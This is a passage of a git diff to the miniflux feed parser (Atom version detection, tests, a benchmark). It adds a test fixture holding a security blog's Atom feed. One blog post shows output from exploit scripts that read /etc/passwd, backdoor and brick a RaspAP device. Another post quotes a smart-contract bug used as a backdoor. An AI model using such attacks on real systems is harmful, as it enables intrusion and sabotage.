*MediaItemElement) AllMediaPeerLinks() []PeerLink { var items []PeerLink items = append(items, e.MediaPeerLinks...) for _, mediaGroup := range e.MediaGroups { @@ -52,7 +52,7 @@ func (e *Element) AllMediaPeerLinks() []PeerLink { } // FirstMediaDescription returns the first description element. -func (e *Element) FirstMediaDescription() string { +func (e *MediaItemElement) FirstMediaDescription() string { description := e.MediaDescriptions.First() if description != "" { return description @@ -86,17 +86,17 @@ type Content struct { // MimeType returns the attachment mime type. func (mc *Content) MimeType() string { - switch { - case mc.Type == "" && mc.Medium == "image": - return "image/*" - case mc.Type == "" && mc.Medium == "video": - return "video/*" - case mc.Type == "" && mc.Medium == "audio": - return "audio/*" - case mc.Type == "" && mc.Medium == "video": - return "video/*" - case mc.Type != "": + if mc.Type != "" { return mc.Type + } + + switch mc.Medium { + case "image": + return "image/*" + case "video": + return "video/*" + case "audio": + return "audio/*" default: return "application/octet-stream" } @@ -104,9 +104,6 @@ func (mc *Content) MimeType() string { // Size returns the attachment size. func (mc *Content) Size() int64 { - if mc.FileSize == "" { - return 0 - } size, _ := strconv.ParseInt(mc.FileSize, 10, 0) return size } @@ -174,3 +171,20 @@ func (dl DescriptionList) First() string { } return "" } + +type MediaCategoryList []MediaCategory + +func (mcl MediaCategoryList) Labels() []string { + var labels []string + for _, category := range mcl { + label := strings.TrimSpace(category.Label) + if label != "" { + labels = append(labels, label) + } + } + return labels +} + +type MediaCategory struct { + Label string `xml:"label,attr"` +} diff --git a/internal/reader/parser/format.go b/internal/reader/parser/format.go index b0a7c2e3..7919ccf2 100644 --- a/internal/reader/parser/format.go +++ b/internal/reader/parser/format.go @@ -21,12 +21,12 @@ const ( ) // DetectFeedFormat tries to guess the feed format from input data. -func DetectFeedFormat(r io.ReadSeeker) string { +func DetectFeedFormat(r io.ReadSeeker) (string, string) { data := make([]byte, 512) r.Read(data) if bytes.HasPrefix(bytes.TrimSpace(data), []byte("{")) { - return FormatJSON + return FormatJSON, "" } r.Seek(0, io.SeekStart) @@ -41,14 +41,19 @@ func DetectFeedFormat(r io.ReadSeeker) string { if element, ok := token.(xml.StartElement); ok { switch element.Name.Local { case "rss": - return FormatRSS + return FormatRSS, "" case "feed": - return FormatAtom + for _, attr := range element.Attr { + if attr.Name.Local == "version" && attr.Value == "0.3" { + return FormatAtom, "0.3" + } + } + return FormatAtom, "1.0" case "RDF": - return FormatRDF + return FormatRDF, "" } } } - return FormatUnknown + return FormatUnknown, "" } diff --git a/internal/reader/parser/format_test.go b/internal/reader/parser/format_test.go index 7acf3e7a..9f806270 100644 --- a/internal/reader/parser/format_test.go +++ b/internal/reader/parser/format_test.go @@ -10,7 +10,7 @@ import ( func TestDetectRDF(t *testing.T) { data := `` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatRDF { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatRDF) @@ -19,7 +19,7 @@ func TestDetectRDF(t *testing.T) { func TestDetectRSS(t *testing.T) { data := `` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatRSS { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatRSS) @@ -28,7 +28,7 @@ func TestDetectRSS(t *testing.T) { func TestDetectAtom10(t *testing.T) { data := `` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatAtom { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom) @@ -37,7 +37,7 @@ func TestDetectAtom10(t *testing.T) { func TestDetectAtom03(t *testing.T) { data := `` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatAtom { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom) @@ -46,7 +46,7 @@ func TestDetectAtom03(t *testing.T) { func TestDetectAtomWithISOCharset(t *testing.T) { data := `` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatAtom { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom) @@ -60,7 +60,7 @@ func TestDetectJSON(t *testing.T) { "title" : "Example" } ` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatJSON { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON) @@ -71,7 +71,7 @@ func TestDetectUnknown(t *testing.T) { data := ` ` - format := DetectFeedFormat(strings.NewReader(data)) + format, _ := DetectFeedFormat(strings.NewReader(data)) if format != FormatUnknown { t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatUnknown) diff --git a/internal/reader/parser/parser.go b/internal/reader/parser/parser.go index 2843888b..d95ea001 100644 --- a/internal/reader/parser/parser.go +++ b/internal/reader/parser/parser.go @@ -19,10 +19,11 @@ var ErrFeedFormatNotDetected = errors.New("parser: unable to detect feed format" // ParseFeed analyzes the input data and returns a normalized feed object. func ParseFeed(baseURL string, r io.ReadSeeker) (*model.Feed, error) { r.Seek(0, io.SeekStart) - switch DetectFeedFormat(r) { + format, version := DetectFeedFormat(r) + switch format { case FormatAtom: r.Seek(0, io.SeekStart) - return atom.Parse(baseURL, r) + return atom.Parse(baseURL, r, version) case FormatRSS: r.Seek(0, io.SeekStart) return rss.Parse(baseURL, r) diff --git a/internal/reader/parser/parser_test.go b/internal/reader/parser/parser_test.go index abaf1094..9ab55a0c 100644 --- a/internal/reader/parser/parser_test.go +++ b/internal/reader/parser/parser_test.go @@ -4,10 +4,31 @@ package parser // import "miniflux.app/v2/internal/reader/parser" import ( + "os" "strings" "testing" ) +func BenchmarkParse(b *testing.B) { + var testCases = map[string][]string{ + "large_atom.xml": {"https://dustri.org/b", ""}, + "large_rss.xml": {"https://dustri.org/b", ""}, + "small_atom.xml": {"https://github.com/miniflux/v2/commits/main", ""}, + } + for filename := range testCases { + data, err := os.ReadFile("./testdata/" + filename) + if err != nil { + b.Fatalf(`Unable to read file %q: %v`, filename, err) + } + testCases[filename][1] = string(data) + } + for range b.N { + for _, v := range testCases { + ParseFeed(v[0], strings.NewReader(v[1])) + } + } +} + func FuzzParse(f *testing.F) { f.Add("https://z.org", ` @@ -64,7 +85,35 @@ func FuzzParse(f *testing.F) { }) } -func TestParseAtom(t *testing.T) { +func TestParseAtom03Feed(t *testing.T) { + data := ` + + dive into mark + + 2003-12-13T18:30:02Z + Mark Pilgrim + + Atom 0.3 snapshot + + tag:diveintomark.org,2003:3.2397 + 2003-12-13T08:29:29-04:00 + 2003-12-13T18:30:02Z + It's a test + HTML content

]]> + + ` + + feed, err := ParseFeed("https://example.org/", strings.NewReader(data)) + if err != nil { + t.Error(err) + } + + if feed.Title != "dive into mark" { + t.Errorf("Incorrect title, got: %s", feed.Title) + } +} + +func TestParseAtom10Feed(t *testing.T) { data := ` diff --git a/internal/reader/parser/testdata/large_atom.xml b/internal/reader/parser/testdata/large_atom.xml new file mode 100644 index 00000000..888586b7 --- /dev/null +++ b/internal/reader/parser/testdata/large_atom.xml @@ -0,0 +1,1638 @@ + +Artificial truthhttps://dustri.org/b/2024-03-10T17:15:00+01:00Using vale with vim2024-03-10T17:15:00+01:002024-03-10T17:15:00+01:00jvoisintag:dustri.org,2024-03-10:/b/using-vale-with-vim.html<p><a href="https://en.wikipedia.org/wiki/LWN.net">LWN</a> recently published an excellent +(subscriber only) <a href="https://lwn.net/Articles/964075/">article</a> on +<a href="https://vale.sh/">vale</a>, an <em>editorial style</em> linter. One of the original goal +of this little corner on the internet was to improve my English, a purpose it +keeps serving. Adding some lightweight tooling to my text editor to push this +goal even further …</p><p><a href="https://en.wikipedia.org/wiki/LWN.net">LWN</a> recently published an excellent +(subscriber only) <a href="https://lwn.net/Articles/964075/">article</a> on +<a href="https://vale.sh/">vale</a>, an <em>editorial style</em> linter. One of the original goal +of this little corner on the internet was to improve my English, a purpose it +keeps serving. Adding some lightweight tooling to my text editor to push this +goal even further sounds great.</p> +<p>Like all good software, vale <a href="https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/testing/vale">is +packaged</a> +in Alpine, although it looked a tad neglected, so I sent <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/61919">a +pull-request</a> +to get it updated. +Its configuration is pretty straightforward: a <code>~/.vale.ini</code> file, with +where to store/read its data and some preferences. It comes with a +<a href="https://vale.sh/hub/">couple of <em>packages</em></a> for popular styles, like the ones +from <a href="https://vale.sh/hub/microsoft/">Microsoft</a>, +<a href="https://vale.sh/hub/google/">Google</a>, <a href="https://vale.sh/hub/redhat/">RedHat</a>, … then a simple <code>vale sync</code> to force it to +download and store the data, and you're good to go.</p> +<p>While <code>vale</code> can be called from the command line, integration with my text +editor is way more comfy. I'm sure there are a ton of plugins to integrate it +with vim, but I'm not a huge fan of having my text editor run arbitrary code +from the internet, so I threw the following 6 lines in <a href="https://dustri.org/pub/vimrc">my vimrc</a> instead:</p> +<div class="codehilite"><pre><span></span><code><span class="nv">augroup</span><span class="w"> </span><span class="nv">vale</span> +<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">filereadable</span><span class="ss">(</span><span class="nv">expand</span><span class="ss">(</span><span class="s2">&quot;~/.vale.ini&quot;</span><span class="ss">))</span> +<span class="w"> </span><span class="nv">autocmd</span><span class="w"> </span><span class="nv">FileType</span><span class="w"> </span><span class="nv">markdown</span><span class="w"> </span><span class="nv">setlocal</span><span class="w"> </span><span class="nv">makeprg</span><span class="o">=</span><span class="nv">vale</span>\<span class="w"> </span><span class="o">--</span><span class="nv">output</span><span class="o">=</span><span class="nv">line</span>\<span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">errorformat</span><span class="o">=%</span><span class="nv">f</span>:<span class="o">%</span><span class="nv">l</span>:<span class="o">%</span><span class="nv">c</span>:<span class="o">%</span><span class="nv">o</span>:<span class="o">%</span><span class="nv">m</span> +<span class="w"> </span><span class="nv">nnoremap</span><span class="w"> </span><span class="o">&lt;</span><span class="nv">Leader</span><span class="o">&gt;</span><span class="nv">M</span><span class="w"> </span>:<span class="nv">make</span><span class="o">&lt;</span><span class="nv">CR</span><span class="o">&gt;&lt;</span><span class="nv">CR</span><span class="o">&gt;</span> +<span class="w"> </span><span class="k">end</span> +<span class="nv">augroup</span><span class="w"> </span><span class="k">end</span> +</code></pre></div> + +<p>It checks if I have a <code>~/vale.ini</code> file, and if so sets +<a href="https://vimhelp.org/options.txt.html#%27makeprg%27"><code>makeprg</code></a> to vale, and +configure <a href="https://vimhelp.org/quickfix.txt.html#errorformat"><code>errorformat</code></a> to +properly parse vale's output. Now every time I type <code>&lt;Leader&gt; M</code>, I get vale's +diagnostics in my <a href="https://vimhelp.org/quickfix.txt.html">quickfix window</a>.</p> +<p>The next steps would likely be to <s>waste</s> spend some time improving the theme +of the aforementioned window, add some ad hoc rules to vale, and maybe try to +show the diagnostics inline like the spellechecker is doing.</p>Carrot disclosure2024-03-08T21:30:00+01:002024-03-08T21:30:00+01:00jvoisintag:dustri.org,2024-03-08:/b/carrot-disclosure.html<p>Once you have found a vulnerability, you can either sit on it, or disclose it. +There are usually two ways to disclose, with minor variations:</p> +<ol> +<li><a href="https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure">Coordinated Disclosure</a>, + where one gives time to the vendor to issue a fix before disclosing</li> +<li><a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">Full Disclosure</a>, + where one discloses immediately without notifying anyone before …</li></ol><p>Once you have found a vulnerability, you can either sit on it, or disclose it. +There are usually two ways to disclose, with minor variations:</p> +<ol> +<li><a href="https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure">Coordinated Disclosure</a>, + where one gives time to the vendor to issue a fix before disclosing</li> +<li><a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">Full Disclosure</a>, + where one discloses immediately without notifying anyone before.</li> +</ol> +<p>I would like to coin a 3<sup>rd</sup> one: <em>Carrot Disclosure</em>, dangling a +<a href="https://en.wikipedia.org/wiki/Carrot_and_stick">metaphorical carrot</a> in front +of the vendor to incentivise change. The main idea is to only publish the +(redacted) output of the exploit for a critical vulnerability, to showcase that the +software is exploitable. Now the vendor has two choices: either perform a +holistic audit of its software, fixing as many issues as possible in the hope +of fixing the showcased vulnerability; or losing users who might not be happy +running a known-vulnerable software. Users of this disclosure model are of +course called Bugs Bunnies.</p> +<p>We all looked at catastrophic web applications, finding a ton +of bugs, and deciding not to bother with reporting them, because they were too +many of them, because we knew that there will be more of them lurking, because +the vendor is a complete tool and it would take more time trying to properly +disclose things than it took finding the vulnerabilities, … This is an +excellent use case for Carrot Disclosure! Of course, for unauditably-large +codebases, it doesn't work: you've got a Linux LPE, who cares.</p> +<p>Interestingly, it shifts the work balance a bit: it's usually harder to write +an exploit than it's to fix here. But here, the vendor has to audit and fix +its entire codebase, for the ~low cost of one (1) exploit, that you don't even +have to publish if you don't want to.</p> +<p>If you want to be extra-nice, you can:</p> +<ul> +<li>Publish the SHA256 of the exploit, to prove + that you weren't making things up, once it's fixed or if you get sued for + whatever frivolous reasons like libel.</li> +<li>Maintain the exploits against new versions, proving that the exploit is still + working.</li> +<li>Publish the exploit once it has been fixed, otherwise you risk to have + vendors call your bluff next time, or at least notify that the issue has been + fixed. Since you don't have hardcoded offsets because we're in 2024, you can even + put this in a continuous integration.</li> +</ul> +<p>Let's have an example, as a treat. A couple of shitty vulnerabilities for +<a href="https://raspap.com/">RaspAP</a> that took me 5 minutes to find and at least 5 +more to write an exploit for each of them:</p> +<div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./read-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1<span class="w"> </span>/etc/passwd<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">5</span> +<span class="go">[+] Target is running RaspAP</span> +<span class="go">[+] Dumping /etc/passwd</span> +<span class="go">root:x:0:0:root:/root:/bin/bash</span> +<span class="go">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span> +<span class="go">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span> +<span class="gp">$ </span>./authed-mitm-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1 +<span class="go">[+] default login/password in use</span> +<span class="go">[+] backdooring system…</span> +<span class="go">[+] system backdoored, enjoy your permanent MITM!</span> +<span class="gp">$ </span>./brick-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1 +<span class="go">[+] Target is running RaspAP</span> +<span class="go">[+] Bricking the system…</span> +<span class="go">[+] System bricked!</span> +<span class="gp">$</span> +</code></pre></div> + +<p>It looks like there is a low-hanging unauthenticated arbitrary code execution +chainable with a privilege escalation to root as well, but since writing an +exploit would take more than 5 minutes, I can't be bothered, and odds are that +it'll be fixed along with the persistent denial-of-service anyway. Let me know +when you think those are fixed.</p>Youtube video embedding harm reduction2024-02-27T14:45:00+01:002024-02-27T14:45:00+01:00jvoisintag:dustri.org,2024-02-27:/b/youtube-video-embedding-harm-reduction.html<p>Embedding external content on a website in the current enshittocene period is +more annoying than ever, so here is a copy-pasteable snippet to embed a youtube +video while reducing its tracking and nuisance capabilities as much as possible:</p> +<div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">iframe</span> + <span class="na">credentialless</span> + <span class="na">allowfullscreen</span> + <span class="na">referrerpolicy</span><span class="o">=</span><span class="s">&quot;no-referrer&quot;</span> + <span class="na">sandbox</span><span class="o">=</span><span class="s">&quot;allow-scripts allow-same-origin&quot;</span> + <span class="na">allow</span><span class="o">=</span><span class="s">&quot;accelerometer &#39;none&#39;; ambient-light-sensor …</span></code></pre></div><p>Embedding external content on a website in the current enshittocene period is +more annoying than ever, so here is a copy-pasteable snippet to embed a youtube +video while reducing its tracking and nuisance capabilities as much as possible:</p> +<div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">iframe</span> + <span class="na">credentialless</span> + <span class="na">allowfullscreen</span> + <span class="na">referrerpolicy</span><span class="o">=</span><span class="s">&quot;no-referrer&quot;</span> + <span class="na">sandbox</span><span class="o">=</span><span class="s">&quot;allow-scripts allow-same-origin&quot;</span> + <span class="na">allow</span><span class="o">=</span><span class="s">&quot;accelerometer &#39;none&#39;; ambient-light-sensor &#39;none&#39;; autoplay &#39;none&#39;; battery &#39;none&#39;; bluetooth &#39;none&#39;; browsing-topics &#39;none&#39;; camera &#39;none&#39;; ch-ua &#39;none&#39;; display-capture &#39;none&#39;; domain-agent &#39;none&#39;; document-domain &#39;none&#39;; encrypted-media &#39;none&#39;; execution-while-not-rendered &#39;none&#39;; execution-while-out-of-viewport &#39;none&#39;; gamepad &#39;none&#39;; geolocation &#39;none&#39;; gyroscope &#39;none&#39;; hid &#39;none&#39;; identity-credentials-get &#39;none&#39;; idle-detection &#39;none&#39;; keyboard-map &#39;none&#39;; local-fonts &#39;none&#39;; magnetometer &#39;none&#39;; microphone &#39;none&#39;; midi &#39;none&#39;; navigation-override &#39;none&#39;; otp-credentials &#39;none&#39;; payment &#39;none&#39;; picture-in-picture &#39;none&#39;; publickey-credentials-create &#39;none&#39;; publickey-credentials-get &#39;none&#39;; screen-wake-lock &#39;none&#39;; serial &#39;none&#39;; speaker-selection &#39;none&#39;; sync-xhr &#39;none&#39;; usb &#39;none&#39;; web-share &#39;none&#39;; window-management &#39;none&#39;; xr-spatial-tracking &#39;none&#39;&quot;</span><span class="err">,</span> + <span class="na">csp</span><span class="o">=</span><span class="s">&quot;sandbox allow-scripts allow-same-origin;&quot;</span> + <span class="na">width</span><span class="o">=</span><span class="s">&quot;560&quot;</span> + <span class="na">height</span><span class="o">=</span><span class="s">&quot;315&quot;</span> + <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://www.youtube-nocookie.com/embed/jfKfPfyJRdk&quot;</span> + <span class="na">title</span><span class="o">=</span><span class="s">&quot;lofi hip hop radio 📚 - beats to relax/study to&quot;</span> + <span class="na">frameborder</span><span class="o">=</span><span class="s">&quot;0&quot;</span> + <span class="na">loading</span><span class="o">=</span><span class="s">&quot;lazy&quot;</span> +<span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span> +</code></pre></div> + +<ul> +<li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless"><code>credentialless</code></a> to load youtube in a blank disposable context, + without access to the origin's network, cookies, and storage data.</li> +<li><code>allowfullscreen</code> because some people like it</li> +<li><code>referrerpolicy</code> set to not leak your <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referer</a></li> +<li><code>sandbox</code> to only allow javascript execution and SOP. Downloads, forms, + modals, screen orientation, pointer lock, popups, presentation session, + <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">storage access</a> and thus third-party cookies, + top-navigation, … are all denied.</li> +<li><code>allow</code> with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">every single directives</a> + set to "absolutely-fucking-not", and yes, they have to be all set one by one, + and check regularly is new directive were added, + because there is <a href="https://github.com/w3c/webappsec-permissions-policy/issues/208">no deny-all</a> + in the <a href="https://w3c.github.io/webappsec-permissions-policy/">spec</a>. It seems + that every browser has its own list of directives, chrome is using <a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md">this one</a> + while firefox' prefers the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">MDN one</a>, + and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.</li> +<li><code>src</code> set to <code>www.youtube-nocookie.com</code> instead of <code>youtube.com</code>. Both + are official Google urls, but the former doesn't do tracking via cookies, + and disables API and interaction and interaction logging. Amusingly, it's + the player used on <code>whitehouse.gov</code>.</li> +<li><code>csp</code> set to <code>sandbox allow-scripts allow-same-origin;</code> for compatibility's + sake, just in case. + I'd love to use a more restrictive policy, but the spec doesn't allow to + provide one, except if the embedded website explicitly allows it, and of + course youtube doesn't.</li> +<li><code>loading="lazy"</code> in case people don't scroll far enough to see the video, no + need to make them do queries to Google for no reasons.</li> +</ul> +<p>Don't forget to put a <code>title</code> for <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#accessibility_concerns">accessibility's sake</a>.</p>A silly "smart" contract bug2024-02-16T13:30:00+01:002024-02-16T13:30:00+01:00jvoisintag:dustri.org,2024-02-16:/b/a-silly-smart-contract-bug.html<p>I was idling on a <a href="https://github.com/stypr">friend</a>'s Discord server, +when he posted a small snippet of code, taken from a <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts">smart contract</a> +apparently swapping <a href="https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it">WETH</a> to <a href="https://miner.build/">MINER</a>, but who cares, what's +interesting here is the bug, can you spot it?</p> +<div class="codehilite"><pre><span></span><code><span class="kt">function</span><span class="w"> </span><span class="nv">_update</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">from</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">to</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">value</span><span class="p">,</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="nv">mint …</span></code></pre></div><p>I was idling on a <a href="https://github.com/stypr">friend</a>'s Discord server, +when he posted a small snippet of code, taken from a <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts">smart contract</a> +apparently swapping <a href="https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it">WETH</a> to <a href="https://miner.build/">MINER</a>, but who cares, what's +interesting here is the bug, can you spot it?</p> +<div class="codehilite"><pre><span></span><code><span class="kt">function</span><span class="w"> </span><span class="nv">_update</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">from</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">to</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">value</span><span class="p">,</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="nv">mint</span><span class="p">)</span><span class="w"> </span><span class="kt">internal</span><span class="w"> </span>virtual<span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">fromBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>from<span class="p">];</span> +<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">toBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>to<span class="p">];</span> +<span class="w"> </span><span class="kt">if</span><span class="w"> </span><span class="p">(</span>fromBalance<span class="w"> </span><span class="o">&lt;</span><span class="w"> </span>value<span class="p">)</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span>revert<span class="w"> </span>ERC20InsufficientBalance<span class="p">(</span>from<span class="p">,</span><span class="w"> </span>fromBalance<span class="p">,</span><span class="w"> </span>value<span class="p">);</span> +<span class="w"> </span><span class="p">}</span> + +<span class="w"> </span>unchecked<span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="c1">// Overflow not possible: value &lt;= fromBalance &lt;= totalSupply.</span> +<span class="w"> </span>_balances<span class="p">[</span>from<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>fromBalance<span class="w"> </span><span class="o">-</span><span class="w"> </span>value<span class="p">;</span> + +<span class="w"> </span><span class="c1">// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.</span> +<span class="w"> </span>_balances<span class="p">[</span>to<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>toBalance<span class="w"> </span><span class="o">+</span><span class="w"> </span>value<span class="p">;</span> +<span class="w"> </span><span class="p">}</span> +</code></pre></div> + +<p>As a hint, look at <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f">this transaction</a>. +Isn't it a cute bugdoor?</p> +<p>The snippet is taken from <a href="https://twitter.com/shoucccc/status/1757777764646859121">this tweet</a>, +giving the issue away. Thanks to <a href="https://github.com/kjsman">Jinseo Kim</a> for holding my hand +understanding what was going on there.</p>Fixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmox2024-02-05T17:00:00+01:002024-02-05T17:00:00+01:00jvoisintag:dustri.org,2024-02-05:/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html<p>There are currently some issues with regard to OpenSSL and Alpine Linux on +Proxmox, tracked as <a href="https://bugzilla.proxmox.com/show_bug.cgi?id=5194">#5194</a> by Promox since the 19<sup>th</sup> of January, with some patches sent by +email (sigh) to fix the issue still waiting to land. The root cause being +Proxmox setting <code>SSL_CERT_FILE='/usr/lib/ssl …</code></p><p>There are currently some issues with regard to OpenSSL and Alpine Linux on +Proxmox, tracked as <a href="https://bugzilla.proxmox.com/show_bug.cgi?id=5194">#5194</a> by Promox since the 19<sup>th</sup> of January, with some patches sent by +email (sigh) to fix the issue still waiting to land. The root cause being +Proxmox setting <code>SSL_CERT_FILE='/usr/lib/ssl/cert.pem'</code> when <code>pct enter</code> is +used, while on Alpine the <code>cert.pem</code> file is in <code>/etc/ssl/cert.pem</code>.</p> +<p>In the meantime, here is what the problem looks like (for +<a href="https://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a>) and how to +hack around it: </p> +<div class="codehilite"><pre><span></span><code><span class="go">root@pve ~ pct enter 122</span> +<span class="gp"># </span>apk<span class="w"> </span>update +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span> +<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied</span> +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span> +<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied</span> +<span class="go">4 unavailable, 0 stale; 30 distinct packages available</span> +<span class="gp"># </span>^D +<span class="go">root@pve ~ lxc-attach -n 122 </span> +<span class="gp"># </span>apk<span class="w"> </span>update<span class="p">;</span><span class="w"> </span>apk<span class="w"> </span>upgrade +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span> +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span> +<span class="go">v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]</span> +<span class="go">v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]</span> +<span class="go">OK: 20069 distinct packages available</span> +<span class="go">OK: 10 MiB in 30 packages</span> +<span class="gp"># </span>^D +<span class="go">root@pve 16:58 ~ </span> +</code></pre></div> + +<p>tl;dr: <code>lxc attach -n 123</code> instead of <code>pct enter 123</code></p>Musings on CVE-2023-6246 on hardened_malloc2024-01-31T02:00:00+01:002024-01-31T02:00:00+01:00jvoisintag:dustri.org,2024-01-31:/b/musings-on-cve-2023-6246-on-hardened_malloc.html<p>Qualys' <s>security team</s> Threat Research Unit <a href="https://seclists.org/oss-sec/2024/q1/68">published</a> +a couple of hours ago a linear two-step heap buffer overflow in glibc's +<code>syslog()</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="mi">206</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="w"> </span><span class="p">((</span><span class="n">bufsize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="p">));</span> +<span class="p">...</span> +<span class="mi">213</span><span class="w"> </span><span 